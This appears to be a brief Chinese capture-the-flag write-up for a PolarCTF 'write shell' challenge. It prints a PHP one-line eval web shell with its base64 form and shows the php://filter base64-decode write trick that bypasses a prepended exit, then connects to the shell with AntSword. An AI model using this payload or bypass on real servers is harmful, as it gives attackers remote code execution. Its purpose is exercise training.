Polarctf 写shell

代码审计,发现写进去的东西会加上exit,这样的话后面的内容就不能执,那就写个过滤器进行绕过,重点是考虑一下base64的解码位置,构造一句话木马,

使用base64的话

<?php eval($_POST['a']);

Base64 编码后:PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7

需要给前面随便补充一位,过滤器是php://filter/write=convert.base64-decode/resource=shell.php

写入成功后用蚁剑连接

相关推荐
字节跳动安全中心7 小时前
开源!可信MCP,AICC机密计算新升级!
安全·llm·mcp
今日说"法"7 小时前
Rust 代码审查清单:从安全到性能的关键校验
开发语言·安全·rust
金仓拾光集7 小时前
「安全升级 + 零代码平替」金仓数据库如何实现MongoDB社交动态发布系统的无缝迁移?
数据库·安全·mongodb·kingbase·kingbasees·数据库平替用金仓·金仓数据库
网络安全-海哥8 小时前
Web安全深度实战:从漏洞挖掘到安全防护
网络·web安全·网络安全·网络攻击·转行
FairGuard手游加固10 小时前
Cocos资源加密方案解析
安全·游戏·cocos2d
椰羊sqrt10 小时前
MetaTwo靶机实战:SQL注入到权限提升全解析
python·学习·网络安全
2501_9387918310 小时前
API 接口安全:用 JWT + Refresh Token 解决 Token 过期与身份伪造问题
安全
深盾安全10 小时前
深入 Rust 错误处理:从新手到高手的进阶之路
安全
运维有小邓@10 小时前
如何生成随机密码保护新创建的用户帐户安全?
运维·安全·自动化